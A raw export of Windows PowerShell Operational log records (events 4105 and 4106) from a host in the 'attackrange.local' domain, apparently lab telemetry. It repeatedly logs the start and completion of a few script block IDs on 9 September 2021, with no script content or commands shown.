SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026743
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026741
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026740
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026723
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026717
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
